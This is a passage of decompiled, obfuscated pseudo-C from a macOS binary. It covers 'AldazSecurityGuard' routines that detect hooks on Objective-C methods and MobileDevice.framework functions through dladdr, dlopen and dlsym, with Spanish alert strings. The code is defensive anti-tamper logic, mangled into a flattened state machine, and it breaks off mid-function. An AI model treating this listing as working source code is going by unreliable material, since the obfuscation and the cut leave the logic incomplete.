bool v13; // zf
int v14; // ecx
int v15; // eax
Method ClassMethod; // rax
Class *v17; // r14
NSString *v18; // rax
NSString *v19; // r15
id v20; // rax
int v21; // eax
NSString *v22; // rax
NSString *v23; // rax
id v24; // rax
Class v25; // rax
Class *v26; // r14
Class *v27; // r14
NSString *v28; // rax
id v29; // rax
id v30; // rax
Method v31; // rax
__int64 v32; // [rsp+0h] [rbp-100h] BYREF
objc_method *v33; // [rsp+8h] [rbp-F8h]
id v34; // [rsp+10h] [rbp-F0h]
Class *v35; // [rsp+18h] [rbp-E8h]
Class Class; // [rsp+20h] [rbp-E0h]
SEL v37; // [rsp+28h] [rbp-D8h]
SEL v38; // [rsp+30h] [rbp-D0h]
SEL v39; // [rsp+38h] [rbp-C8h]
Class cls; // [rsp+40h] [rbp-C0h]
objc_method *v41; // [rsp+48h] [rbp-B8h]
const char *dli_fname; // [rsp+50h] [rbp-B0h]
__int64 v43; // [rsp+58h] [rbp-A8h]
__int64 v44; // [rsp+60h] [rbp-A0h]
Method m; // [rsp+68h] [rbp-98h]
id v46; // [rsp+70h] [rbp-90h]
int v47; // [rsp+78h] [rbp-88h]
int v48; // [rsp+7Ch] [rbp-84h] BYREF
Dl_info *v49; // [rsp+80h] [rbp-80h]
SEL v50; // [rsp+88h] [rbp-78h]
id v51; // [rsp+90h] [rbp-70h]
__int64 v52; // [rsp+98h] [rbp-68h]
id v53; // [rsp+A0h] [rbp-60h]
SEL name; // [rsp+A8h] [rbp-58h]
bool v55; // [rsp+B2h] [rbp-4Eh]
bool v56; // [rsp+B3h] [rbp-4Dh]
bool v57; // [rsp+B4h] [rbp-4Ch]
unsigned __int8 v58; // [rsp+B5h] [rbp-4Bh]
bool v59; // [rsp+B6h] [rbp-4Ah]
bool v60; // [rsp+B7h] [rbp-49h]
Class *v61; // [rsp+B8h] [rbp-48h]
char v62; // [rsp+C6h] [rbp-3Ah]
char v63; // [rsp+C7h] [rbp-39h]
int *v64; // [rsp+C8h] [rbp-38h]
__int64 v65; // [rsp+D0h] [rbp-30h]
v65 = -1;
v47 = dword_10029F2B0;
v48 = 938019815;
v64 = &v48;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v48 > -52957620 )
{
if ( v48 > 938019814 )
{
if ( v48 <= 1804951915 )
{
if ( v48 <= 1128527238 )
{
if ( v48 <= 1012589086 )
{
if ( v48 == 938019815 )
{
v55 = v47 == 0;
*v64 = -2084524788;
}
else if ( v48 == 971015166 )
{
v3 = 1;
v2 = 1808991778;
v4 = 1804951916;
goto LABEL_216;
}
}
else
{
switch ( v48 )
{
case 1012589087:
ClassMethod = class_getClassMethod(cls, name);
v3 = 1;
v41 = ClassMethod;
v2 = 1012589087;
v4 = -709296004;
goto LABEL_216;
case 1017597082:
LABEL_163:
*v64 = 124339222;
break;
case 1038696988:
*v64 = -1815979556;
break;
}
}
}
else if ( v48 > 1691389920 )
{
switch ( v48 )
{
case 1691389921:
*v64 = -2015926937;
v46 = v51;
break;
case 1740086688:
v7 = 1;
v2 = 1691389921;
v8 = 1740086688;
goto LABEL_234;
case 1797966062:
*v64 = 1568219216;
break;
}
}
else
{
switch ( v48 )
{
case 1128527239:
v3 = 1;
v2 = -321667651;
v4 = 385767706;
goto LABEL_216;
case 1400183550:
v3 = 0;
v2 = -1348321567;
v4 = 1400183550;
goto LABEL_216;
case 1568219216:
v2 = -1207283509;
goto LABEL_236;
}
}
}
else if ( v48 > 1909887785 )
{
if ( v48 > 2020656303 )
{
switch ( v48 )
{
case 2020656304:
strcpy(a7_5, "NSDictionary");
strcpy(&byte_100265B50, "NSPropertyListSerialization");
a4_2[0] = 91;
a4_2[1] = 87;
a4_2[2] = 65;
v3 = 1;
a4_2[3] = 82;
v62 = 15;
v2 = 921565335;
v4 = -2111632479;
goto LABEL_216;
case 2026504198:
v13 = !v59;
v2 = -492648960;
v14 = -1685171354;
LABEL_227:
if ( !v13 )
v2 = v14;
goto LABEL_236;
case 2063120363:
*v35 = Class;
v61[7] = (Class)"dataWithPropertyList:format:options:error:";
v9 = v61;
v9[8] = HikariFunctionWrapper_2765(&byte_100265B50);
v61[9] = (Class)"propertyListWithData:options:format:error:";
v50 = "stringWithFormat:";
v37 = "logSecurityEvent:severity:";
v38 = "ownerPathLooksTrusted:";
v39 = "handleDetectedHook:";
*v64 = 432865354;
break;
}
}
else
{
switch ( v48 )
{
case 1909887786:
*v35 = Class;
v61[7] = (Class)"dataWithPropertyList:format:options:error:";
v17 = v61;
v17[8] = HikariFunctionWrapper_2773(&byte_100265B50);
v61[9] = (Class)"propertyListWithData:options:format:error:";
*v64 = 2063120363;
break;
case 1955583787:
cls = v61[2 * v52];
name = (SEL)v61[2 * v52 + 1];
v31 = HikariFunctionWrapper_2767(cls, name);
v56 = v31 == 0;
v33 = v31;
*v64 = -804568111;
break;
case 2009178619:
*v64 = -1991292317;
break;
}
}
}
else if ( v48 > 1861238696 )
{
switch ( v48 )
{
case 1861238697:
*v64 = 774027463;
break;
case 1880514094:
*v64 = -404803097;
break;
case 1903179767:
*v64 = 1400183550;
break;
}
}
else
{
switch ( v48 )
{
case 1804951916:
objc_msgSend(a1, v37, v53, CFSTR("\x9B\xB6BD\xA4\xDF\x3A{"));
v13 = 0;
v2 = 1804951916;
v14 = -1342340720;
goto LABEL_227;
case 1808991778:
objc_msgSend(a1, v37, v53, CFSTR("\x9B\xB6BD\xA4\xDF\x3A{"));
*v64 = 1804951916;
break;
case 1844018823:
*v64 = -932169589;
break;
}
}
}
else if ( v48 <= 461824204 )
{
if ( v48 <= 152583218 )
{
if ( v48 <= 72039029 )
{
if ( v48 == -52957619 )
{
v13 = 0;
v2 = 921565335;
v14 = 2020656304;
goto LABEL_227;
}
if ( v48 == 45485184 )
{
v7 = 1;
v2 = 1740086688;
v8 = -692615920;
goto LABEL_234;
}
}
else
{
switch ( v48 )
{
case 72039030:
v15 = -1382199261;
if ( v57 )
v15 = -1815979556;
*v64 = v15;
m = v41;
break;
case 124339222:
a4_2[4] = v62 ^ 0x41;
a4_2[5] = 93;
a4_2[6] = 32;
a4_2[7] = 78;
a4_2[8] = 111;
a4_2[9] = 32;
a4_2[10] = 115;
a4_2[11] = 101;
a4_2[12] = 32;
a4_2[13] = 112;
a4_2[14] = 117;
a4_2[15] = 100;
a4_2[16] = 111;
a4_2[17] = 32;
a4_2[18] = 114;
a4_2[19] = 101;
a4_2[20] = 115;
a4_2[21] = 111;
a4_2[22] = 108;
a4_2[23] = 118;
a4_2[24] = 101;
a4_2[25] = 114;
a4_2[26] = 32;
a4_2[27] = 100;
a4_2[28] = 108;
a4_2[29] = 97;
a4_2[30] = 100;
a4_2[31] = 100;
a4_2[32] = 114;
a4_2[33] = 32;
a4_2[34] = 112;
a4_2[35] = 97;
a4_2[36] = 114;
a4_2[37] = 97;
a4_2[38] = 32;
a4_2[39] = 37;
a4_2[40] = 64;
a4_2[41] = 0;
qmemcpy(asc_100265B00, "[ALERT] Hook detecta", 20);
v63 = 100;
v2 = 1880514094;
goto LABEL_236;
case 129515260:
v7 = 1;
v2 = -2112384322;
v8 = -761145887;
goto LABEL_234;
}
}
}
else if ( v48 > 362624316 )
{
switch ( v48 )
{
case 362624317:
v3 = 0;
v2 = 2063120363;
v4 = 1909887786;
goto LABEL_216;
case 385767706:
v2 = 1038696988;
goto LABEL_236;
case 432865354:
*v64 = -428385694;
v44 = 0;
break;
}
}
else
{
switch ( v48 )
{
case 152583219:
class_getClassMethod(cls, name);
*v64 = 1012589087;
break;
case 257665243:
*v64 = -2015926937;
v46 = v34;
break;
case 265308845:
*v64 = -494529258;
break;
}
}
}
else if ( v48 > 774027462 )
{
if ( v48 > 815431367 )
{
switch ( v48 )
{
case 815431368:
*v64 = -189395192;
break;
case 861398833:
HikariFunctionWrapper_2779(a1, v39);
*v64 = -588937911;
break;
case 921565335:
strcpy(a7_5, "NSDictionary");
strcpy(&byte_100265B50, "NSPropertyListSerialization");
a4_2[0] = 91;
a4_2[1] = 87;
a4_2[2] = 65;
a4_2[3] = 82;
*v64 = 2020656304;
break;
}
}
else
{
switch ( v48 )
{
case 774027463:
v13 = 0;
v2 = 774027463;
v14 = 782778108;
goto LABEL_227;
case 777695646:
v7 = 0;
v2 = -253469008;
v8 = -2037673215;
goto LABEL_234;
case 782778108:
v6 = -428385694;
if ( v60 )
v6 = -663909233;
*v64 = v6;
v44 = v43;
break;
}
}
}
else if ( v48 > 666627070 )
{
switch ( v48 )
{
case 666627071:
HikariFunctionWrapper_2777(a1, v38);
*v64 = -681124248;
break;
case 702718810:
*v64 = 1128527239;
break;
case 739935897:
dword_10029F2B0 = 1;
*v64 = -1564052824;
break;
}
}
else
{
switch ( v48 )
{
case 461824205:
asc_100265B00[20] = v63;
asc_100265B00[21] = 111;
asc_100265B00[22] = 58;
asc_100265B00[23] = 32;
asc_100265B00[24] = 37;
asc_100265B00[25] = 64;
asc_100265B00[26] = 32;
asc_100265B00[27] = 45;
asc_100265B00[28] = 62;
asc_100265B00[29] = 32;
asc_100265B00[30] = 37;
asc_100265B00[31] = 115;
asc_100265B00[32] = 0;
asc_100264CC8[0] = 87;
asc_100264CC8[1] = 65;
asc_100264CC8[2] = 82;
asc_100264CC8[3] = 78;
asc_100264CC8[4] = 73;
asc_100264CC8[5] = 78;
asc_100264CC8[6] = 71;
asc_100264CC8[7] = 0;
*v64 = 532953694;
break;
case 519134309:
*v64 = 971015166;
break;
case 532953694:
asc_100265B00[20] = v63;
asc_100265B00[21] = 111;
asc_100265B00[22] = 58;
asc_100265B00[23] = 32;
asc_100265B00[24] = 37;
asc_100265B00[25] = 64;
asc_100265B00[26] = 32;
asc_100265B00[27] = 45;
asc_100265B00[28] = 62;
asc_100265B00[29] = 32;
asc_100265B00[30] = 37;
asc_100265B00[31] = 115;
asc_100265B00[32] = 0;
asc_100264CC8[0] = 87;
asc_100264CC8[1] = 65;
asc_100264CC8[2] = 82;
asc_100264CC8[3] = 78;
v3 = 1;
asc_100264CC8[4] = 73;
asc_100264CC8[5] = 78;
asc_100264CC8[6] = 71;
asc_100264CC8[7] = 0;
v2 = 461824205;
v4 = 265308845;
goto LABEL_216;
}
}
}
if ( v48 > -917181422 )
break;
if ( v48 <= -1685171355 )
{
if ( v48 <= -2015926938 )
{
if ( v48 <= -2084524789 )
{
if ( v48 == -2112384322 )
{
v60 = v43 == 5;
v3 = 1;
v2 = -761145887;
v4 = -1631389078;
goto LABEL_216;
}
if ( v48 == -2111632479 )
*v64 = 1017597082;
}
else
{
switch ( v48 )
{
case -2084524788:
v3 = 1;
v2 = 1797966062;
v4 = 1568219216;
goto LABEL_216;
case -2037673215:
v28 = NSStringFromSelector(name);
v34 = objc_retainAutoreleasedReturnValue(v28);
v29 = objc_msgSend(
&OBJC_CLASS___NSString,
v50,
CFSTR("4\x9Ems5\x88\xB7\x01ِķgԉqEg\xDB\x27K\x84B\xE3\xF0\xF1(\xEB\x8D\x2AK\xBB\xEA\xD9\x4C\xCC\xFC\xEB\x71\x4CS\x83"),
v34);
v30 = objc_retainAutoreleasedReturnValue(v29);
v3 = 1;
v53 = v30;
v2 = -253469008;
v4 = 519134309;
LABEL_216:
if ( v3 )
v2 = v4;
goto LABEL_236;
case -2025184790:
*v64 = 45485184;
break;
}
}
}
else if ( v48 > -1815979557 )
{
switch ( v48 )
{
case -1815979556:
v3 = 1;
v2 = -2001849208;
v4 = -1004299670;
goto LABEL_216;
case -1805927410:
v7 = 1;
v2 = -917181421;
v8 = -1756236468;
goto LABEL_234;
case -1756236468:
*v64 = -917181421;
break;
}
}
else
{
switch ( v48 )
{
case -2015926937:
objc_release(v46);
*v64 = -492648960;
break;
case -2001849208:
*v64 = -1004299670;
break;
case -1991292317:
v59 = v58 == 0;
*v64 = 2026504198;
break;
}
}
}
else if ( v48 > -1348321568 )
{
if ( v48 > -1207283510 )
{
switch ( v48 )
{
case -1207283509:
v13 = !v55;
v2 = -494529258;
v14 = -52957619;
goto LABEL_227;
case -1004299670:
v7 = 1;
v43 = v52 + 1;
v2 = -723776365;
v8 = -1004299670;
LABEL_234:
if ( !v7 )
v2 = v8;
LABEL_236:
*v64 = v2;
break;
case -932169589:
v2 = 702718810;
goto LABEL_236;
}
}
else
{
switch ( v48 )
{
case -1348321567:
*v64 = -1805927410;
break;
case -1342340720:
*v64 = -1670815857;
break;
case -1245147940:
v57 = v41 == 0;
*v64 = 72039030;
break;
}
}
}
else if ( v48 > -1564052825 )
{
switch ( v48 )
{
case -1564052824:
v3 = 1;
dword_10029F2B0 = 1;
v2 = 739935897;
v4 = 815431368;
goto LABEL_216;
case -1537386288:
HikariFunctionWrapper_2775(v61[2 * v52], (const char *)v61[2 * v52 + 1]);
*v64 = 1955583787;
break;
case -1382199261:
Implementation = method_getImplementation(m);
v11 = dladdr(Implementation, v49);
v12 = 777695646;
if ( v49->dli_fname )
v12 = -561141605;
dli_fname = v49->dli_fname;
if ( !v11 )
v12 = 777695646;
*v64 = v12;
break;
}
}
else
{
switch ( v48 )
{
case -1685171354:
v18 = HikariFunctionWrapper_2769(name);
v19 = objc_retainAutoreleasedReturnValue(v18);
v20 = HikariFunctionWrapper_2771(&OBJC_CLASS___NSString, v50);
v51 = objc_retainAutoreleasedReturnValue(v20);
objc_release(v19);
*v64 = -456932186;
break;
case -1670815857:
v7 = 1;
v2 = -274043942;
v8 = -67595581;
goto LABEL_234;
case -1631389078:
*v64 = -199640353;
break;
}
}
}
if ( v48 <= -494529259 )
break;
if ( v48 > -274043943 )
{
if ( v48 > -199640354 )
{
switch ( v48 )
{
case -199640353:
v3 = 0;
v2 = 774027463;
v4 = 1861238697;
goto LABEL_216;
case -189395192:
v61 = (Class *)(&v32 - 10);
v49 = (Dl_info *)(&v32 - 4);
v25 = HikariFunctionWrapper_2763(a7_5);
*v61 = v25;
v61[1] = (Class)"objectForKey:";
v26 = v61;
v26[2] = objc_getClass(a7_5);
v61[3] = (Class)"initWithContentsOfFile:";
v27 = v61;
v27[4] = objc_getClass(a7_5);
v61[5] = (Class)"writeToFile:atomically:";
v35 = v61 + 6;
Class = objc_getClass(&byte_100265B50);
*v64 = 362624317;
break;
case -67595581:
objc_release(v53);
*v64 = -274043942;
break;
}
}
else
{
switch ( v48 )
{
case -274043942:
objc_release(v53);
*v64 = 257665243;
break;
case -253469008:
v22 = HikariFunctionWrapper_2781(name);
v23 = objc_retainAutoreleasedReturnValue(v22);
v24 = objc_msgSend(
&OBJC_CLASS___NSString,
v50,
CFSTR("4\x9Ems5\x88\xB7\x01ِķgԉqEg\xDB\x27K\x84B\xE3\xF0\xF1(\xEB\x8D\x2AK\xBB\xEA\xD9\x4C\xCC\xFC\xEB\x71\x4CS\x83"),
v23);
objc_retainAutoreleasedReturnValue(v24);
*v64 = -2037673215;
break;
case -248641489:
a4_2[4] = ~((v62 | 0xBE) & (~v62 | 0x41));
a4_2[5] = 93;
a4_2[6] = 32;
a4_2[7] = 78;
a4_2[8] = 111;
a4_2[9] = 32;
a4_2[10] = 115;
a4_2[11] = 101;
a4_2[12] = 32;
a4_2[13] = 112;
a4_2[14] = 117;
a4_2[15] = 100;
a4_2[16] = 111;
a4_2[17] = 32;
a4_2[18] = 114;
a4_2[19] = 101;
a4_2[20] = 115;
a4_2[21] = 111;
a4_2[22] = 108;
a4_2[23] = 118;
a4_2[24] = 101;
a4_2[25] = 114;
a4_2[26] = 32;
a4_2[27] = 100;
a4_2[28] = 108;
a4_2[29] = 97;
a4_2[30] = 100;
a4_2[31] = 100;
a4_2[32] = 114;
a4_2[33] = 32;
a4_2[34] = 112;
a4_2[35] = 97;
a4_2[36] = 114;
a4_2[37] = 97;
a4_2[38] = 32;
a4_2[39] = 37;
a4_2[40] = 64;
a4_2[41] = 0;
qmemcpy(asc_100265B00, "[ALERT] Hook detecta", 20);
goto LABEL_163;
}
}
}
else if ( v48 > -428385695 )
{
switch ( v48 )
{
case -428385694:
v52 = v44;
v13 = 0;
v2 = -1537386288;
v14 = 1955583787;
goto LABEL_227;
case -404803097:
v13 = 0;
v2 = 461824205;
v14 = 532953694;
goto LABEL_227;
case -321667651:
*v64 = 385767706;
break;
}
}
else
{
switch ( v48 )
{
case -494529258:
v2 = -1564052824;
goto LABEL_236;
case -492648960:
v2 = -932169589;
goto LABEL_236;
case -456932186:
v2 = -588937911;
goto LABEL_236;
}
}
}
if ( v48 <= -708507629 )
break;
if ( v48 > -663909234 )
{
switch ( v48 )
{
case -663909233:
v7 = 1;
v2 = 1400183550;
v8 = 1903179767;
goto LABEL_234;
case -588937911:
objc_msgSend(a1, v39, v51);
v3 = 1;
v2 = -588937911;
v4 = -2025184790;
goto LABEL_216;
case -561141605:
v2 = -681124248;
goto LABEL_236;
}
}
else
{
switch ( v48 )
{
case -708507628:
v3 = 1;
v2 = 152583219;
v4 = 1012589087;
goto LABEL_216;
case -692615920:
*v64 = 1740086688;
break;
case -681124248:
v5 = (unsigned __int8)objc_msgSend(a1, v38, dli_fname);
v3 = 1;
v58 = v5;
v2 = 666627071;
v4 = 2009178619;
goto LABEL_216;
}
}
}
if ( v48 > -723776366 )
break;
switch ( v48 )
{
case -917181421:
v7 = 0;
v2 = -917181421;
v8 = -716853215;
goto LABEL_234;
case -804568111:
v21 = -1382199261;
if ( v56 )
v21 = -708507628;
*v64 = v21;
m = v33;
break;
case -761145887:
*v64 = -2112384322;
break;
}
}
if ( v48 != -723776365 )
break;
*v64 = 129515260;
}
if ( v48 != -709296004 )
break;
*v64 = -1245147940;
}
}
while ( v48 != -716853215 );
}
// 100265BB0: using guessed type __CFString stru_100265BB0;
// 100265BF0: using guessed type __CFString cfstr_4_2;
// 10029F2B0: using guessed type int dword_10029F2B0;
//----- (000000010003A80D) ----------------------------------------------------
void __cdecl +[AldazSecurityGuard checkMobileDeviceFunctionHooks](id a1, SEL a2)
{
bool v2; // zf
int v3; // eax
int v4; // ecx
void *v5; // rax
bool v6; // zf
int v7; // ecx
id v8; // rax
id v9; // r14
char v10; // cf
int v11; // ecx
void *v12; // rax
char v13; // cf
int v14; // ecx
int v15; // eax
int v16; // eax
id v17; // rax
unsigned __int8 v18; // al
id v19; // rax
id v20; // rax
id v21; // rax
char *v22; // rdx
void *v23; // rax
int v24; // eax
bool v25; // dl
id v26; // rax
id v27; // rax
__int64 v28; // [rsp+0h] [rbp-140h] BYREF
void *v29; // [rsp+8h] [rbp-138h]
void *v30; // [rsp+10h] [rbp-130h]
const char *v31; // [rsp+18h] [rbp-128h]
const char *v32; // [rsp+20h] [rbp-120h]
const char *v33; // [rsp+28h] [rbp-118h]
id v34; // [rsp+30h] [rbp-110h]
const char *dli_fname; // [rsp+38h] [rbp-108h]
const char *v36; // [rsp+40h] [rbp-100h]
char *v37; // [rsp+48h] [rbp-F8h]
char **v38; // [rsp+50h] [rbp-F0h]
SEL v39; // [rsp+58h] [rbp-E8h]
void *v40; // [rsp+60h] [rbp-E0h]
id v41; // [rsp+68h] [rbp-D8h]
const char *v42; // [rsp+70h] [rbp-D0h]
char **v43; // [rsp+78h] [rbp-C8h]
void *v44; // [rsp+80h] [rbp-C0h]
char *v45; // [rsp+88h] [rbp-B8h]
char **v46; // [rsp+90h] [rbp-B0h]
int v47; // [rsp+9Ch] [rbp-A4h]
int v48; // [rsp+A0h] [rbp-A0h]
int v49; // [rsp+A4h] [rbp-9Ch] BYREF
SEL v50; // [rsp+A8h] [rbp-98h]
char *v51; // [rsp+B0h] [rbp-90h]
id v52; // [rsp+B8h] [rbp-88h]
id v53; // [rsp+C0h] [rbp-80h]
SEL v54; // [rsp+C8h] [rbp-78h]
id v55; // [rsp+D0h] [rbp-70h]
SEL v56; // [rsp+D8h] [rbp-68h]
void *__handle; // [rsp+E0h] [rbp-60h]
Dl_info *v58; // [rsp+E8h] [rbp-58h]
id v59; // [rsp+F0h] [rbp-50h]
char *__symbol; // [rsp+F8h] [rbp-48h]
bool v61; // [rsp+104h] [rbp-3Ch]
bool v62; // [rsp+105h] [rbp-3Bh]
bool v63; // [rsp+106h] [rbp-3Ah]
bool v64; // [rsp+107h] [rbp-39h]
bool v65; // [rsp+108h] [rbp-38h]
unsigned __int8 v66; // [rsp+109h] [rbp-37h]
bool v67; // [rsp+10Ah] [rbp-36h]
unsigned __int8 v68; // [rsp+10Bh] [rbp-35h]
bool v69; // [rsp+10Ch] [rbp-34h]
unsigned __int8 v70; // [rsp+10Dh] [rbp-33h]
bool v71; // [rsp+10Eh] [rbp-32h]
char v72; // [rsp+10Fh] [rbp-31h]
int *v73; // [rsp+110h] [rbp-30h]
v47 = 0;
v49 = -1440331803;
v73 = &v49;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v49 <= 39713635 )
{
if ( v49 <= -1131817131 )
{
if ( v49 > -1746467929 )
{
if ( v49 <= -1481923236 )
{
if ( v49 <= -1599926992 )
{
if ( v49 > -1658538181 )
{
if ( v49 == -1658538180 )
{
v2 = !v61;
v3 = 3510577;
v4 = -1806076273;
goto LABEL_338;
}
if ( v49 == -1650356734 )
{
qmemcpy(&byte_100266190, "AMDServiceConn", 14);
*v73 = 799111022;
}
}
else
{
if ( v49 == -1746467928 )
{
v13 = 1;
v3 = 699285901;
v14 = -56187824;
goto LABEL_373;
}
if ( v49 == -1690783267 )
{
dlclose(__handle);
v13 = 0;
v3 = -921757442;
v14 = -1690783267;
goto LABEL_373;
}
}
}
else if ( v49 <= -1556722782 )
{
if ( v49 == -1599926991 )
{
*v73 = 1779576571;
}
else if ( v49 == -1592066941 )
{
*v73 = -463287310;
}
}
else
{
switch ( v49 )
{
case -1556722781:
*v73 = -1968283176;
break;
case -1512088095:
dlsym(__handle, __symbol);
*v73 = -661373071;
break;
case -1489048555:
v6 = 0;
v3 = 2110146311;
v7 = 1344797570;
goto LABEL_385;
}
}
}
else if ( v49 > -1408689828 )
{
if ( v49 <= -1207411737 )
{
if ( v49 == -1408689827 )
{
v13 = 0;
v3 = -2071292479;
v14 = -270102883;
goto LABEL_373;
}
if ( v49 == -1219344166 )
{
v13 = 0;
v48 = dword_10029F2B4;
v3 = -1851964828;
v14 = -1219344166;
goto LABEL_373;
}
}
else
{
switch ( v49 )
{
case -1207411736:
*v73 = 271908136;
break;
case -1195790065:
v20 = objc_msgSend(v55, v39, v42);
v21 = objc_retainAutoreleasedReturnValue(v20);
v10 = 1;
v59 = v21;
v3 = -739333984;
v11 = -1195790065;
goto LABEL_389;
case -1164188800:
v58 = (Dl_info *)(&v28 - 4);
v12 = dlopen(&_path, 1);
v62 = v12 == 0;
v29 = v12;
*v73 = 1791744033;
break;
}
}
}
else if ( v49 <= -1430499505 )
{
if ( v49 == -1481923235 )
{
*v73 = -1219344166;
}
else if ( v49 == -1440331803 )
{
v6 = v47 == 1159535209;
v3 = -1219344166;
v7 = -1481923235;
goto LABEL_385;
}
}
else
{
switch ( v49 )
{
case -1430499504:
v13 = 1;
v3 = 1650813498;
v14 = -821677344;
goto LABEL_373;
case -1424036439:
byte_10026619E = v72 ^ 0x3A;
strcpy(&byte_10026619F, "ctionReceive");
asc_100266100[0] = 100;
asc_100266100[1] = 108;
asc_100266100[2] = 97;
asc_100266100[3] = 100;
asc_100266100[4] = 100;
asc_100266100[5] = 114;
asc_100266100[6] = 32;
asc_100266100[7] = 102;
asc_100266100[8] = 97;
asc_100266100[9] = 108;
asc_100266100[10] = 108;
asc_100266100[11] = 243;
asc_100266100[12] = 32;
asc_100266100[13] = 112;
asc_100266100[14] = 97;
asc_100266100[15] = 114;
asc_100266100[16] = 97;
asc_100266100[17] = 58;
asc_100266100[18] = 32;
asc_100266100[19] = 37;
asc_100266100[20] = 115;
asc_100266100[21] = 0;
strcpy(aAq, "/MobileDevice.framework/");
strcpy(&byte_100266070, "AMDeviceCopyValue");
strcpy(asc_100266030, "[SEC] %s -> %s (trusted)");
strcpy(&byte_100265FF0, "AMDeviceDisconnect");
strcpy(&byte_100265D50, "AMDServiceConnectionSend");
strcpy(asc_100265E40, "Posible hook detectado: %s -> %s");
strcpy(&byte_1002661D0, "AMDeviceSecureStartService");
*v73 = -1846843543;
break;
case -1421926426:
v2 = !v67;
v3 = 1061093870;
v4 = 1926940031;
goto LABEL_338;
}
}
}
else if ( v49 <= -1922579247 )
{
if ( v49 <= -2070666870 )
{
if ( v49 > -2107501771 )
{
if ( v49 == -2107501770 )
{
*v73 = 475883208;
}
else if ( v49 == -2071292479 )
{
v15 = -198414685;
if ( v71 )
v15 = 714233322;
*v73 = v15;
v45 = v37;
v46 = v43;
}
}
else if ( v49 == -2144570145 )
{
*v73 = 270328662;
}
else if ( v49 == -2114317487 )
{
v13 = 0;
v3 = 886756211;
v14 = -343132110;
goto LABEL_373;
}
}
else if ( v49 <= -1976719597 )
{
if ( v49 == -2070666869 )
{
v18 = (unsigned __int8)objc_msgSend(
v59,
v56,
CFSTR("\xB4\xF6\x8A\x15\xB4E\x18B\xB1\x9B\xE0\x48\x5E\x03>\x9A"));
v13 = 1;
v68 = v18;
v3 = -2070666869;
v14 = 534454972;
goto LABEL_373;
}
if ( v49 == -1988335199 )
*v73 = 1922726466;
}
else
{
switch ( v49 )
{
case -1976719596:
*v73 = -1846506551;
break;
case -1968283176:
v6 = 0;
dli_fname = v58->dli_fname;
v3 = 887612204;
v7 = -1968283176;
goto LABEL_385;
case -1961200227:
v2 = 0;
v3 = 39713636;
v4 = -876521031;
goto LABEL_338;
}
}
}
else if ( v49 > -1846506552 )
{
if ( v49 <= -1806076274 )
{
if ( v49 == -1846506551 )
{
v13 = 1;
v3 = -1976719596;
v14 = 2134312733;
goto LABEL_373;
}
if ( v49 == -1844486788 )
{
v70 = (unsigned __int8)HikariFunctionWrapper_2787(a1, v31);
*v73 = -1880409717;
}
}
else
{
switch ( v49 )
{
case -1806076273:
v13 = 1;
v3 = -1650356734;
v14 = 799111022;
goto LABEL_373;
case -1797527649:
v2 = !v63;
v3 = -216606542;
v4 = 172193894;
LABEL_338:
if ( !v2 )
v3 = v4;
goto LABEL_391;
case -1767467092:
HikariFunctionWrapper_2793(0, 1);
*v73 = -271693712;
break;
}
}
}
else if ( v49 <= -1878831549 )
{
if ( v49 == -1922579246 )
{
*v73 = 763782919;
}
else if ( v49 == -1880409717 )
{
v6 = v70 == 0;
v3 = 1061093870;
v7 = 671086845;
goto LABEL_385;
}
}
else
{
switch ( v49 )
{
case -1878831548:
v13 = 0;
v3 = 798181430;
v14 = -1131817130;
goto LABEL_373;
case -1851964828:
*v73 = -1746467928;
break;
case -1846843543:
*v73 = 1841036836;
break;
}
}
}
else if ( v49 <= -461067441 )
{
if ( v49 <= -821677345 )
{
if ( v49 <= -923180651 )
{
if ( v49 > -1081613584 )
{
if ( v49 == -1081613583 )
{
HikariFunctionWrapper_2799(__handle);
*v73 = -1690783267;
}
else if ( v49 == -1029017006 )
{
v33 = v58->dli_fname;
*v73 = -1844486788;
}
}
else if ( v49 == -1131817130 )
{
*v73 = 798181430;
}
else if ( v49 == -1120380469 )
{
v69 = v68 == 0;
v10 = 0;
v3 = -1120380469;
v11 = 2013062279;
goto LABEL_389;
}
}
else if ( v49 <= -906041466 )
{
if ( v49 == -923180650 )
{
strcpy(asc_100266150, "/System/Library/");
strcpy(&byte_100265CD5, "AMDeviceConnect");
strcpy(&byte_100265E90, "AMDeviceIsPaired");
strcpy(&byte_100265DF0, "AMDServiceConnectionSendMessage");
strcpy(&byte_100265DA0, "AMDServiceConnectionReceiveMessage");
asc_100264CC8[0] = 87;
asc_100264CC8[1] = 65;
asc_100264CC8[2] = 82;
asc_100264CC8[3] = 78;
asc_100264CC8[4] = 73;
asc_100264CC8[5] = 78;
asc_100264CC8[6] = 71;
asc_100264CC8[7] = 0;
strcpy(&byte_100265C70, "AMDeviceStopSession");
strcpy(&byte_100265D10, "AMDeviceSetValue");
asc_100265EF0[0] = 83;
asc_100265EF0[1] = 237;
asc_100265EF0[2] = 109;
asc_100265EF0[3] = 98;
asc_100265EF0[4] = 111;
asc_100265EF0[5] = 108;
asc_100265EF0[6] = 111;
asc_100265EF0[7] = 32;
asc_100265EF0[8] = 110;
asc_100265EF0[9] = 111;
asc_100265EF0[10] = 32;
asc_100265EF0[11] = 101;
asc_100265EF0[12] = 110;
asc_100265EF0[13] = 99;
asc_100265EF0[14] = 111;
asc_100265EF0[15] = 110;
asc_100265EF0[16] = 116;
asc_100265EF0[17] = 114;
asc_100265EF0[18] = 97;
asc_100265EF0[19] = 100;
asc_100265EF0[20] = 111;
asc_100265EF0[21] = 58;
asc_100265EF0[22] = 32;
asc_100265EF0[23] = 37;
asc_100265EF0[24] = 115;
asc_100265EF0[25] = 0;
strcpy(&byte_100265CB0, "AMDeviceStartSession");
strcpy(asc_1002658D3, "/usr/lib/");
strcpy(&_path, "/System/Library/PrivateFrameworks/MobileDevice.framework/MobileDevice");
*v73 = -828611635;
}
else if ( v49 == -921757442 )
{
*v73 = -1878831548;
}
}
else
{
switch ( v49 )
{
case -906041465:
*v73 = -604776768;
break;
case -876521031:
objc_release(v41);
v10 = 1;
v3 = -532729702;
v11 = 39713636;
goto LABEL_389;
case -828611635:
*v73 = 3510577;
break;
}
}
}
else if ( v49 > -646681610 )
{
if ( v49 <= -593145929 )
{
if ( v49 == -646681609 )
{
v10 = 1;
v3 = -1424036439;
v11 = 1442938679;
goto LABEL_389;
}
if ( v49 == -604776768 )
{
v6 = 0;
v3 = 1813309707;
v7 = -906041465;
goto LABEL_385;
}
}
else
{
switch ( v49 )
{
case -593145928:
v10 = 0;
v3 = 1977688781;
v11 = 140289294;
goto LABEL_389;
case -532729702:
*v73 = 1171102273;
break;
